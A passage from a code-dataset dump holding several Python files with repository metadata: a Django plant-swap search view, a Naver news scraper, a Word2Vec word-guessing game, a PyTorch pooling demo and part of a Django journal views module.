"dataset": "github-code", "pt": "7", "api": [{"api_name": "matplotlib.pyplot.rcParams", "line_number": 4, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 4, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 9, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 9, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 10, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 10, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 11, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 11, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 12, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 13, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 14, "usage_type": "name"}]} {"seq_id": "36779540559", "text": "from django.shortcuts import render\nfrom django.db.models import Q\nfrom myplants.models import Plant\nfrom wishlist.models import Wish\nfrom .forms import SearchForm\n\ndef search_plants(request):\n if request.method == 'GET':\n query= request.GET.get('q')\n submitbutton= request.GET.get('submit')\n\n if query is not None:\n lookups= Q(name__icontains=query)\n results= Plant.objects.filter(lookups).distinct()\n print(results)\n similar = []\n perfect = []\n\n print(\"Search for:\", query)\n print(request.user, \"wants this plant\")\n plants = Plant.objects.filter(user=request.user)\n print(request.user, \"has these plants: \", plants)\n\n for result in results:\n print(result.user, \"has this plant\")\n wishes = Wish.objects.filter(user=result.user)\n print(result.user, \"wants these plants: \", wishes)\n matches = plants.filter(name__in=wishes.values_list('name'))\n print(\"Matches:\", matches)\n if not matches:\n similar.append(result)\n print(\"Not a perfect match.\", similar)\n else:\n perfect.append(result)\n print(\"This is a perfect match!\", perfect)\n\n context={'results': results,\n 'similar': similar,\n 'perfect': perfect,\n 'submitbutton': submitbutton}\n\n return render(request, 'swaps/swaps.html', context)\n else:\n return render(request, 'swaps/swaps.html')\n else:\n return render(request, 'swaps/swaps.html')\n\n", "repo_name": "mimimysam/plantswap", "sub_path": "swaps/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1710, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.db.models.Q", "line_number": 13, "usage_type": "call"}, {"api_name": "myplants.models.Plant.objects.filter", "line_number": 14, "usage_type": "call"}, {"api_name": "myplants.models.Plant.objects", "line_number": 14, "usage_type": "attribute"}, {"api_name": "myplants.models.Plant", "line_number": 14, "usage_type": "name"}, {"api_name": "myplants.models.Plant.objects.filter", "line_number": 21, "usage_type": "call"}, {"api_name": "myplants.models.Plant.objects", "line_number": 21, "usage_type": "attribute"}, {"api_name": "myplants.models.Plant", "line_number": 21, "usage_type": "name"}, {"api_name": "wishlist.models.Wish.objects.filter", "line_number": 26, "usage_type": "call"}, {"api_name": "wishlist.models.Wish.objects", "line_number": 26, "usage_type": "attribute"}, {"api_name": "wishlist.models.Wish", "line_number": 26, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 42, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 44, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 46, "usage_type": "call"}]} {"seq_id": "3281460136", "text": "import requests\nfrom bs4 import BeautifulSoup\nimport openpyxl\n\ntry:\n wb = openpyxl.load_workbook('navernews.xlsx')\n sheet = wb.active\n\nexcept:\n wb = openpyxl.Workbook()\n sheet = wb.active\n sheet.append([\"제목\",\"언론사\"])\n print(\"새로운 파일을 만들었습니다.\")\n\nkeyword = input(\"검색어를 입력해주세요: \")\n\nfor n in range(1, 100, 10):\n raw = requests.get(\"https://search.naver.com/search.naver?where=news&query=\" + keyword\n + \"&start=\" + str(n),\n headers={'User-Agent': 'Mozilla/5.0'})\n html = BeautifulSoup(raw.text, \"html.parser\")\n\n articles = html.select(\"ul.type01 > li\")\n\n # 반복2: 기사에 대해서 반복하면 세부 정보 수집하기\n # 리스트를 사용한 반복문으로 모든 기사에 대해서 제목/언론사 출력\n for ar in articles:\n title = ar.select_one(\"a._sp_each_title\").text\n source = ar.select_one(\"span._sp_each_source\").text\n\n sheet.append([title,source])\n\n wb.save('navertv.xlsx')", "repo_name": "hyemWon/dataVisualization-study", "sub_path": "crawling/3.3.OpenPyXL_4.py", "file_name": "3.3.OpenPyXL_4.py", "file_ext": "py", "file_size_in_byte": 1048, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "openpyxl.load_workbook", "line_number": 6, "usage_type": "call"}, {"api_name": "openpyxl.Workbook", "line_number": 10, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 18, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 21, "usage_type": "call"}]} {"seq_id": "36466166376", "text": "import spacy\nimport random\nfrom numpy import dot\nfrom numpy.linalg import norm\nfrom gensim.models import Word2Vec\n\nnlp = spacy.load(\"en_core_web_sm\")\n\nprint(\"Welcome to LDS.Contexto! Here's how the game works: Find the secret word. You have unlimited guesses. The words are sorted by an artificial intelligence algorithm according to how similar they are to the secret word. After submitting a word, you will see its position. The secret word is number 0. The algorithm analyzed over 4,000 general conference talks. It uses the context in which words are used to calculate the similarity between them. Good luck!\")\n\ntarget_words =[\"endowment\", \"gospel\", \"faith\", \"ordinance\", \"baptism\", \"atonement\", \"priesthood\", \"bible\", \"mormon\", \"agency\", \"proxy\", \"bishop\", \"prophet\", \"celestial\", \"heaven\", \"hell\", \"satan\", \"cross\", \"godhead\", \"gratitude\", \"christmas\", \"humble\", \"miracle\", \"peace\", \"polygamy\", \"sacrament\", \"spirit\", \"commandments\", \"tithing\", \"authority\", \"blessing\", \"christian\", \"church\", \"calling\", \"doctrine\", \"creation\", \"mortality\", \"charity\", \"faith\", \"hope\", \"repentance\", \"conversion\", \"mission\", \"missionary\", \"doctrine\", \"disciple\", \"easter\", \"endure\", \"fall\", \"jesus\", \"joy\", \"happiness\", \"knowledge\", \"language\", \"light\", \"love\", \"mercy\", \"mortality\", \"patience\", \"prayer\", \"pride\", \"prompting\", \"restoration\", \"vision\", \"redemption\", \"resurrection\", \"sabbath\", \"sunday\", \"sacrifice\", \"scriptures\", \"sealing\", \"sin\", \"talent\", \"temple\", \"testimony\"]\nrandom_index = random.randrange(len(target_words))\n\ndef get_rank_dict(target_word, model):\n '''this function will loop through each word vector in the word2vec.model file and process the cosine similarity against the vector of the target word. they are stored into ranks according to their similarity to the target word (with the target word being first or index [0]'''\n ranks = []\n \n for word in model.wv.index_to_key:\n a = model.wv[word]\n b = model.wv[target_word]\n cos_sim = dot(a, b)/(norm(a)*norm(b))\n ranks.append((word, cos_sim)) \n ranks = sorted(ranks, reverse=True, key=lambda x:x[1])\n rank_dict = {}\n\n for i, (word, cos_sim) in enumerate(ranks):\n rank_dict[word] = i \n return rank_dict\n\n# model = Word2Vec.load(\"word2vec.model\")\n# output = get_rank_dict(\"jesus\", model)\n# rank = dict(list(output.items())[0:51])\n# print(rank)\n\ndef check_the_guess(target_word):\n '''this function puts everything together. it processes the guesses and outputs the guess (and past guesses) with the rank aka how close the guess is to the target word.'''\n guesses = []\n model = Word2Vec.load(\"word2vec.model\")\n rank_dict = get_rank_dict(target_word, model)\n\n while True: # infinite while loop\n guessed_word = input(\"Guess a word: \").lower() # these next few lines process the guessed word (lowercase and lemmatize it)\n guessed_word = nlp(guessed_word)[0]\n guessed_word = guessed_word.lemma_\n try:\n guessed_rank = rank_dict[guessed_word]\n except KeyError: \n print(\"Sorry, that word is either not in our General Conference corpus or may be misspelled. Go again.\")\n continue\n\n guesses.append((guessed_word, guessed_rank))\n past_guesses = list(set(guesses))\n for word, rank in sorted(past_guesses, reverse=True, key=lambda x: x[1]):\n print('\\u2588' * int(((len(rank_dict)-rank)/len(rank_dict)) * 79), word, rank) # ADD NUMER OF HOW MANY BLOCKS I WANT (RN: 30)\n\n if guessed_word == target_word:\n print(\"Congratulations! You guessed the word!\")\n break\n else:\n print('Your guess:')\n print('\\u2588' * int(((len(rank_dict)-guessed_rank)/len(rank_dict)) * 79), guessed_word, guessed_rank)\n print(\"Nice try! Go again.\")\n\ncheck_the_guess(target_words[random_index])\n", "repo_name": "kathleenmariko/lds.contexto", "sub_path": "lds.contexto/03_01_lds_contexto copy.py", "file_name": "03_01_lds_contexto copy.py", "file_ext": "py", "file_size_in_byte": 3858, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "spacy.load", "line_number": 7, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 21, "usage_type": "call"}, {"api_name": "gensim.models.Word2Vec.load", "line_number": 38, "usage_type": "call"}, {"api_name": "gensim.models.Word2Vec", "line_number": 38, "usage_type": "name"}]} {"seq_id": "22349651565", "text": "import torch\nimport torchvision\nfrom torch import nn\nfrom tensorboardX import SummaryWriter\nfrom torch.nn import Conv2d\nfrom torch.nn import MaxPool2d\nfrom torch.utils.data import DataLoader\n# 准备数据集\ndataset = torchvision.datasets.CIFAR10(\"D:\\Vscode\\data\",train=False,transform=torchvision.transforms.ToTensor(),download=False)\n# 设置dataloader\ndataloader = DataLoader(dataset,batch_size=64)\n\n# 定义神经网络\nclass network(nn.Module):\n def __init__(self):\n super(network, self).__init__()\n self.conv1=Conv2d(in_channels=3,out_channels=3,kernel_size=3,stride=1,padding=0)\n self.maxpool = MaxPool2d(kernel_size=3) # 池化操作\n def forward(self,x):\n x = self.conv1(x)\n x = self.maxpool(x) # 执行池化操作\n return x\n\ntest_network = network() # 实例化\nwriter = SummaryWriter(\"D:\\Vscode\\logs\")\nstep = 0\nfor data in dataloader:\n imgs,targets = data\n writer.add_images(\"input\",imgs,global_step=step) # 显示下输入数据\n output = test_network(imgs) # 把图片输入进神经网络\n writer.add_images(\"output\", output, global_step=step) # 展示一下输出数据\n step =step + 1\n", "repo_name": "AdamWang518/Vscode", "sub_path": "Python/AI/TorchTutor/torchtutor.py", "file_name": "torchtutor.py", "file_ext": "py", "file_size_in_byte": 1167, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torchvision.datasets.CIFAR10", "line_number": 9, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 9, "usage_type": "attribute"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 9, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 9, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 11, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 14, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 14, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn.MaxPool2d", "line_number": 18, "usage_type": "call"}, {"api_name": "tensorboardX.SummaryWriter", "line_number": 25, "usage_type": "call"}]} {"seq_id": "9506472527", "text": "import logging\nfrom os import stat\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom django.urls import reverse\nfrom django.contrib.auth.decorators import login_required, permission_required\nfrom django.utils.translation import gettext_lazy as _\nfrom django.http import (\n HttpResponse,\n HttpResponseBadRequest,\n HttpResponseNotFound,\n)\nfrom django.core.exceptions import BadRequest, ObjectDoesNotExist, PermissionDenied\nfrom django.db.models import Count\nfrom django.utils import timezone\nfrom django.utils.dateparse import parse_datetime\nfrom django.core.paginator import Paginator\nfrom .models import *\nfrom django.conf import settings\nfrom django.http import HttpResponseRedirect\nfrom django.db.models import Q\nfrom management.models import Announcement\nfrom django.utils.baseconv import base62\nfrom .forms import *\nfrom mastodon.api import share_review, share_collection\nfrom users.views import render_user_blocked, render_user_not_found\nfrom users.models import User, Report, Preference\nfrom common.utils import PageLinksGenerator\nfrom user_messages import api as msg\n\n\n_logger = logging.getLogger(__name__)\nPAGE_SIZE = 10\n\n_checkmark = \"✔️\".encode(\"utf-8\")\n\n\n@login_required\ndef wish(request, item_uuid):\n if request.method != \"POST\":\n return HttpResponseBadRequest(b\"invalid request\")\n item = get_object_or_404(Item, uid=base62.decode(item_uuid))\n if not item:\n return HttpResponseNotFound(b\"item not found\")\n request.user.shelf_manager.move_item(item, ShelfType.WISHLIST)\n if request.GET.get(\"back\"):\n return HttpResponseRedirect(request.META.get(\"HTTP_REFERER\"))\n return HttpResponse(_checkmark)\n\n\n@login_required\ndef like(request, piece_uuid):\n if request.method != \"POST\":\n return HttpResponseBadRequest(b\"invalid request\")\n piece = get_object_or_404(Collection, uid=base62.decode(piece_uuid))\n if not piece:\n return HttpResponseNotFound(b\"piece not found\")\n Like.user_like_piece(request.user, piece)\n if request.GET.get(\"back\"):\n return HttpResponseRedirect(request.META.get(\"HTTP_REFERER\"))\n return HttpResponse(_checkmark)\n\n\n@login_required\ndef unlike(request, piece_uuid):\n if request.method != \"POST\":\n return HttpResponseBadRequest(b\"invalid request\")\n piece = get_object_or_404(Collection, uid=base62.decode(piece_uuid))\n if not piece:\n return HttpResponseNotFound(b\"piece not found\")\n Like.user_unlike_piece(request.user, piece)\n if request.GET.get(\"back\"):\n return HttpResponseRedirect(request.META.get(\"HTTP_REFERER\"))\n return HttpResponse(_checkmark)\n\n\n@login_required\ndef add_to_collection(request, item_uuid):\n item = get_object_or_404(Item, uid=base62.decode(item_uuid))\n if request.method == \"GET\":\n collections = Collection.objects.filter(owner=request.user)\n return render(\n request,\n \"add_to_collection.html\",\n {\n \"item\": item,\n \"collections\": collections,\n },\n )\n else:\n cid = int(request.POST.get(\"collection_id\", default=0))\n if not cid:\n cid = Collection.objects.create(\n owner=request.user, title=f\"{request.user.username}的收藏单\"\n ).id\n collection = Collection.objects.get(owner=request.user, id=cid)\n collection.append_item(item, note=request.POST.get(\"note\"))\n return HttpResponseRedirect(request.META.get(\"HTTP_REFERER\"))\n\n\ndef render_relogin(request):\n return render(\n request,\n \"common/error.html\",\n {\n \"url\": reverse(\"users:connect\") + \"?domain=\" + request.user.mastodon_site,\n \"msg\": _(\"信息已保存，但是未能分享到联邦网络\"),\n \"secondary_msg\": _(\n \"可能是你在联邦网络(Mastodon/Pleroma/...)的登录状态过期了，正在跳转到联邦网络重新登录😼\"\n ),\n },\n )\n\n\n@login_required\ndef mark(request, item_uuid):\n item = get_object_or_404(Item, uid=base62.decode(item_uuid))\n mark = Mark(request.user, item)\n if request.method == \"GET\":\n tags = TagManager.get_item_tags_by_user(item, request.user)\n shelf_types = [\n (n[1], n[2]) for n in iter(ShelfTypeNames) if n[0] == item.category\n ]\n shelf_type = request.GET.get(\"shelf_type\", mark.shelf_type)\n return render(\n request,\n \"mark.html\",\n {\n \"item\": item,\n \"mark\": mark,\n \"shelf_type\": shelf_type,\n \"tags\": \",\".join(tags),\n \"shelf_types\": shelf_types,\n \"date_today\": timezone.localdate().isoformat(),\n },\n )\n elif request.method == \"POST\":\n if request.POST.get(\"delete\", default=False):\n mark.delete()\n return HttpResponseRedirect(request.META.get(\"HTTP_REFERER\"))\n else:\n visibility = int(request.POST.get(\"visibility\", default=0))\n rating = request.POST.get(\"rating\", default=0)\n rating = int(rating) if rating else None\n status = ShelfType(request.POST.get(\"status\"))\n text = request.POST.get(\"text\")\n tags = request.POST.get(\"tags\")\n tags = tags.split(\",\") if tags else []\n share_to_mastodon = bool(\n request.POST.get(\"share_to_mastodon\", default=False)\n )\n mark_date = None\n if request.POST.get(\"mark_anotherday\"):\n mark_date = timezone.get_current_timezone().localize(\n parse_datetime(request.POST.get(\"mark_date\") + \" 20:00:00\")\n )\n if mark_date and mark_date >= timezone.now():\n mark_date = None\n TagManager.tag_item_by_user(item, request.user, tags, visibility)\n try:\n mark.update(\n status,\n text,\n rating,\n visibility,\n share_to_mastodon=share_to_mastodon,\n created_time=mark_date,\n )\n except Exception as e:\n _logger.warn(f\"post to mastodon error {e}\")\n return render_relogin(request)\n return HttpResponseRedirect(request.META.get(\"HTTP_REFERER\"))\n return HttpResponseBadRequest()\n\n\ndef collection_retrieve(request, collection_uuid):\n collection = get_object_or_404(Collection, uid=base62.decode(collection_uuid))\n if not collection.is_visible_to(request.user):\n raise PermissionDenied()\n follower_count = collection.likes.all().count()\n following = (\n Like.user_liked_piece(request.user, collection) is not None\n if request.user.is_authenticated\n else False\n )\n is_featured = request.user.is_authenticated and collection.is_featured_by_user(\n request.user\n )\n available_as_featured = (\n request.user.is_authenticated\n and (following or request.user == collection.owner)\n and not is_featured\n and collection.members.all().exists()\n )\n stats = {}\n if is_featured:\n stats = collection.get_stats_for_user(request.user)\n stats[\"wishlist_deg\"] = (\n stats[\"wishlist\"] / stats[\"total\"] * 360 if stats[\"total\"] else 0\n )\n stats[\"progress_deg\"] = (\n stats[\"progress\"] / stats[\"total\"] * 360 if stats[\"total\"] else 0\n )\n stats[\"complete_deg\"] = (\n stats[\"complete\"] / stats[\"total\"] * 360 if stats[\"total\"] else 0\n )\n return render(\n request,\n \"collection.html\",\n {\n \"collection\": collection,\n \"follower_count\": follower_count,\n \"following\": following,\n \"stats\": stats,\n \"available_as_featured\": available_as_featured,\n \"is_featured\": is_featured,\n },\n )\n\n\ndef collection_add_featured(request, collection_uuid):\n if request.method != \"POST\":\n return HttpResponseBadRequest()\n collection = get_object_or_404(Collection, uid=base62.decode(collection_uuid))\n if not collection.is_visible_to(request.user):\n raise PermissionDenied()\n FeaturedCollection.objects.update_or_create(owner=request.user, target=collection)\n return HttpResponseRedirect(request.META.get(\"HTTP_REFERER\"))\n\n\ndef collection_remove_featured(request, collection_uuid):\n if request.method != \"POST\":\n return HttpResponseBadRequest()\n collection = get_object_or_404(Collection, uid=base62.decode(collection_uuid))\n if not collection.is_visible_to(request.user):\n raise PermissionDenied()\n fc = FeaturedCollection.objects.filter(\n owner=request.user, target=collection\n ).first()\n if fc:\n fc.delete()\n return HttpResponseRedirect(request.META.get(\"HTTP_REFERER\"))\n\n\ndef collection_share(request, collection_uuid):\n collection = (\n get_object_or_404(Collection, uid=base62.decode(collection_uuid))\n if collection_uuid\n else None\n )\n if collection and not collection.is_visible_to(request.user):\n raise PermissionDenied()\n if request.method == \"GET\":\n return render(request, \"collection_share.html\", {\"collection\": collection})\n elif request.method == \"POST\":\n visibility = int(request.POST.get(\"visibility\", default=0))\n comment = request.POST.get(\"comment\")\n if share_collection(collection, comment, request.user, visibility):\n return HttpResponseRedirect(request.META.get(\"HTTP_REFERER\"))\n else:\n return render_relogin(request)\n else:\n return HttpResponseBadRequest()\n\n\ndef collection_retrieve_items(request, collection_uuid, edit=False, msg=None):\n collection = get_object_or_404(Collection, uid=base62.decode(collection_uuid))\n if not collection.is_visible_to(request.user):\n raise PermissionDenied()\n form = CollectionForm(instance=collection)\n return render(\n request,\n \"collection_items.html\",\n {\n \"collection\": collection,\n \"form\": form,\n \"collection_edit\": edit or request.GET.get(\"edit\"),\n \"msg\": msg,\n },\n )\n\n\n@login_required\ndef collection_append_item(request, collection_uuid):\n if request.method != \"POST\":\n return HttpResponseBadRequest()\n collection = get_object_or_404(Collection, uid=base62.decode(collection_uuid))\n if not collection.is_editable_by(request.user):\n raise PermissionDenied()\n\n url = request.POST.get(\"url\")\n note = request.POST.get(\"note\")\n item = Item.get_by_url(url)\n if item:\n collection.append_item(item, note=note)\n collection.save()\n msg = None\n else:\n msg = _(\"条目链接无法识别，请输入本站已有条目的链接。\")\n return collection_retrieve_items(request, collection_uuid, True, msg)\n\n\n@login_required\ndef collection_remove_item(request, collection_uuid, item_uuid):\n if request.method != \"POST\":\n return HttpResponseBadRequest()\n collection = get_object_or_404(Collection, uid=base62.decode(collection_uuid))\n item = get_object_or_404(Item, uid=base62.decode(item_uuid))\n if not collection.is_editable_by(request.user):\n raise PermissionDenied()\n collection.remove_item(item)\n return collection_retrieve_items(request, collection_uuid, True)\n\n\n@login_required\ndef collection_move_item(request, direction, collection_uuid, item_uuid):\n if request.method != \"POST\":\n return HttpResponseBadRequest()\n collection = get_object_or_404(Collection, uid=base62.decode(collection_uuid))\n if not collection.is_editable_by(request.user):\n raise PermissionDenied()\n item = get_object_or_404(Item, uid=base62.decode(item_uuid))\n if direction == \"up\":\n collection.move_up_item(item)\n else:\n collection.move_down_item(item)\n return collection_retrieve_items(request, collection_uuid, True)\n\n\n@login_required\ndef collection_update_item_note(request, collection_uuid, item_uuid):\n collection = get_object_or_404(Collection, uid=base62.decode(collection_uuid))\n if not collection.is_editable_by(request.user):\n raise PermissionDenied()\n item = get_object_or_404(Item, uid=base62.decode(item_uuid))\n if not collection.is_editable_by(request.user):\n raise PermissionDenied()\n if request.method == \"POST\":\n collection.update_item_metadata(\n item, {\"note\": request.POST.get(\"note\", default=\"\")}\n )\n return collection_retrieve_items(request, collection_uuid, True)\n elif request.method == \"GET\":\n member = collection.get_member_for_item(item)\n return render(\n request,\n \"collection_update_item_note.html\",\n {\"collection\": collection, \"item\": item, \"note\": member.note},\n )\n else:\n return HttpResponseBadRequest()\n\n\n@login_required\ndef collection_edit(request, collection_uuid=None):\n collection = (\n get_object_or_404(Collection, uid=base62.decode(collection_uuid))\n if collection_uuid\n else None\n )\n if collection and not collection.is_editable_by(request.user):\n raise PermissionDenied()\n if request.method == \"GET\":\n form = CollectionForm(instance=collection) if collection else CollectionForm()\n return render(\n request, \"collection_edit.html\", {\"form\": form, \"collection\": collection}\n )\n elif request.method == \"POST\":\n form = (\n CollectionForm(request.POST, request.FILES, instance=collection)\n if collection\n else CollectionForm(request.POST)\n )\n if form.is_valid():\n if not collection:\n form.instance.owner = request.user\n form.instance.edited_time = timezone.now()\n form.save()\n return redirect(\n reverse(\"journal:collection_retrieve\", args=[form.instance.uuid])\n )\n else:\n return HttpResponseBadRequest(form.errors)\n else:\n return HttpResponseBadRequest()\n\n\ndef review_retrieve(request, review_uuid):\n piece = get_object_or_404(Review, uid=base62.decode(review_uuid))\n if not piece.is_visible_to(request.user):\n raise PermissionDenied()\n return render(request, \"review.html\", {\"review\": piece})\n\n\n@login_required\ndef review_edit(request, item_uuid, review_uuid=None):\n item = get_object_or_404(Item, uid=base62.decode(item_uuid))\n review = (\n get_object_or_404(Review, uid=base62.decode(review_uuid))\n if review_uuid\n else None\n )\n if review and not review.is_editable_by(request.user):\n raise PermissionDenied()\n if request.method == \"GET\":\n form = (\n ReviewForm(instance=review)\n if review\n else ReviewForm(initial={\"item\": item.id})\n )\n return render(request, \"review_edit.html\", {\"form\": form, \"item\": item})\n elif request.method == \"POST\":\n form = (\n ReviewForm(request.POST, instance=review)\n if review\n else ReviewForm(request.POST)\n )\n if form.is_valid():\n if not review:\n form.instance.owner = request.user\n form.instance.edited_time = timezone.now()\n form.save()\n if form.cleaned_data[\"share_to_mastodon\"]:\n form.instance.save = lambda **args: None\n form.instance.shared_link = None\n if not share_review(form.instance):\n return render_relogin(request)\n return redirect(\n reverse(\"journal:review_retrieve\", args=[form.instance.uuid])\n )\n else:\n return HttpResponseBadRequest(form.errors)\n else:\n return HttpResponseBadRequest()\n\n\n@login_required\ndef piece_delete(request, piece_uuid):\n piece = get_object_or_404(Piece, uid=base62.decode(piece_uuid))\n return_url = request.GET.get(\"return_url\", None) or \"/\"\n if not piece.is_editable_by(request.user):\n raise PermissionDenied()\n if request.method == \"GET\":\n return render(\n request, \"piece_delete.html\", {\"piece\": piece, \"return_url\": return_url}\n )\n elif request.method == \"POST\":\n piece.delete()\n return redirect(return_url)\n else:\n return HttpResponseBadRequest()\n\n\ndef render_list_not_fount(request):\n msg = _(\"相关列表不存在\")\n return render(\n request,\n \"common/error.html\",\n {\n \"msg\": msg,\n },\n )\n\n\ndef _render_list(\n request, user_name, type, shelf_type=None, item_category=None, tag_title=None\n):\n user = User.get(user_name)\n if user is None:\n return render_user_not_found(request)\n if user != request.user and (\n request.user.is_blocked_by(user) or request.user.is_blocking(user)\n ):\n return render_user_blocked(request)\n tag = None\n if type == \"mark\":\n queryset = user.shelf_manager.get_members(shelf_type, item_category)\n elif type == \"tagmember\":\n tag = Tag.objects.filter(owner=user, title=tag_title).first()\n if not tag:\n return render_list_not_fount(request)\n if tag.visibility != 0 and user != request.user:\n return render_list_not_fount(request)\n queryset = TagMember.objects.filter(parent=tag)\n elif type == \"review\":\n queryset = Review.objects.filter(owner=user)\n queryset = queryset.filter(query_item_category(item_category))\n else:\n return HttpResponseBadRequest()\n queryset = queryset.filter(q_visible_to(request.user, user)).order_by(\n \"-created_time\"\n )\n paginator = Paginator(queryset, PAGE_SIZE)\n page_number = request.GET.get(\"page\", default=1)\n members = paginator.get_page(page_number)\n members.pagination = PageLinksGenerator(PAGE_SIZE, page_number, paginator.num_pages)\n return render(\n request,\n f\"user_{type}_list.html\",\n {\"user\": user, \"members\": members, \"tag\": tag},\n )\n\n\n@login_required\ndef user_mark_list(request, user_name, shelf_type, item_category):\n return _render_list(\n request, user_name, \"mark\", shelf_type=shelf_type, item_category=item_category\n )\n\n\n@login_required\ndef user_tag_member_list(request, user_name, tag_title):\n return _render_list(request, user_name, \"tagmember\", tag_title=tag_title)\n\n\n@login_required\ndef user_tag_edit(request):\n if request.method == \"GET\":\n tag_title = Tag.cleanup_title(request.GET.get(\"tag\", \"\"))\n if not tag_title:\n return HttpResponseNotFound()\n tag = Tag.objects.filter(owner=request.user, title=tag_title).first()\n if not tag:\n return HttpResponseNotFound()\n return render(request, \"tag_edit.html\", {\"tag\": tag})\n elif request.method == \"POST\":\n tag_title = Tag.cleanup_title(request.POST.get(\"title\", \"\"))\n tag_id = request.POST.get(\"id\")\n tag = (\n Tag.objects.filter(owner=request.user, id=tag_id).first()\n if tag_id\n else None\n )\n if not tag or not tag_title:\n msg.error(request.user, _(\"无效标签\"))\n return HttpResponseRedirect(request.META.get(\"HTTP_REFERER\"))\n if request.POST.get(\"delete\"):\n tag.delete()\n msg.info(request.user, _(\"标签已删除\"))\n return redirect(\n reverse(\"journal:user_tag_list\", args=[request.user.mastodon_username])\n )\n elif (\n tag_title != tag.title\n and Tag.objects.filter(owner=request.user, title=tag_title).exists()\n ):\n msg.error(request.user, _(\"标签已存在\"))\n return HttpResponseRedirect(request.META.get(\"HTTP_REFERER\"))\n tag.title = tag_title\n tag.visibility = Tag.cleanup_title(request.POST.get(\"visibility\"))\n tag.visibility = 0 if tag.visibility == 0 else 2\n tag.save()\n msg.info(request.user, _(\"标签已修改\"))\n return redirect(\n reverse(\n \"journal:user_tag_member_list\",\n args=[request.user.mastodon_username, tag.title],\n )\n )\n return HttpResponseBadRequest()\n\n\n@login_required\ndef user_review_list(request, user_name, item_category):\n return _render_list(request, user_name, \"review\", item_category=item_category)\n\n\n@login_required\ndef user_tag_list(request, user_name):\n user = User.get(user_name)\n if user is None:\n return render_user_not_found(request)\n if user != request.user and (\n request.user.is_blocked_by(user) or request.user.is_blocking(user)\n ):\n return render_user_blocked(request)\n tags = Tag.objects.filter(owner=user)\n if user != request.user:\n tags = tags.filter(visibility=0)\n tags = tags.values(\"title\").annotate(total=Count(\"members\")).order_by(\"-total\")\n return render(\n request,\n \"user_tag_list.html\",\n {\n \"user\": user,\n \"tags\": tags,\n },\n )\n\n\n@login_required\ndef user_collection_list(request, user_name):\n user = User.get(user_name)\n if user is None:\n return render_user_not_found(request)\n if user != request.user and (\n request.user.is_blocked_by(user) or request.user.is_blocking(user)\n ):\n return render_user_blocked(request)\n collections = Collection.objects.filter(owner=user)\n if user != request.user:\n if request.user.is_following(user):\n collections = collections.filter(visibility__in=[0, 1])\n else:\n collections = collections.filter(visibility=0)\n return render(\n request,\n \"user_collection_list.html\",\n {\n \"user\": user,\n \"collections\": collections,\n },\n )\n\n\n@login_required\ndef user_liked_collection_list(request, user_name):\n user = User.get(user_name)\n if user is None:\n return render_user_not_found(request)\n if user != request.user and (\n request.user.is_blocked_by(user) or request.user.is_blocking(user)\n ):\n return render_user_blocked(request)\n collections = Collection.objects.filter(likes__owner=user)\n if user != request.user:\n collections = collections.filter(query_visible(request.user))\n return render(\n request,\n \"user_collection_list.html\",\n {\n \"user\": user,\n \"collections\": collections,\n },\n )\n\n\ndef profile_anonymous(request, id):\n login_url = settings.LOGIN_URL + \"?next=\" + request.get_full_path()\n try:\n username = id.split(\"@\")[0]\n site = id.split(\"@\")[1]\n return render(\n request,\n \"users/home_anonymous.html\",\n {\n \"login_url\": login_url,\n \"username\": username,\n \"site\": site,\n },\n )\n except Exception:\n return redirect(login_url)\n\n\ndef profile(request, user_name):\n if request.method != \"GET\":\n return HttpResponseBadRequest()\n user = User.get(user_name)\n if user is None:\n return render_user_not_found(request)\n if not request.user.is_authenticated and user.get_preference().no_anonymous_view:\n return profile_anonymous(request, user_name)\n # access one's own home page\n if user == request.user:\n reports = Report.objects.order_by(\"-submitted_time\").filter(is_read=False)\n unread_announcements = Announcement.objects.filter(\n pk__gt=request.user.read_announcement_index\n ).order_by(\"-pk\")\n try:\n request.user.read_announcement_index = Announcement.objects.latest(\"pk\").pk\n request.user.save(update_fields=[\"read_announcement_index\"])\n except ObjectDoesNotExist:\n # when there is no annoucenment\n pass\n # visit other's home page\n else:\n if user.is_blocked_by(request.user) or user.is_blocking(request.user):\n return render_user_blocked(request)\n # no these value on other's home page\n reports = None\n unread_announcements = None\n\n qv = q_visible_to(request.user, user)\n shelf_list = {}\n visbile_categories = [\n 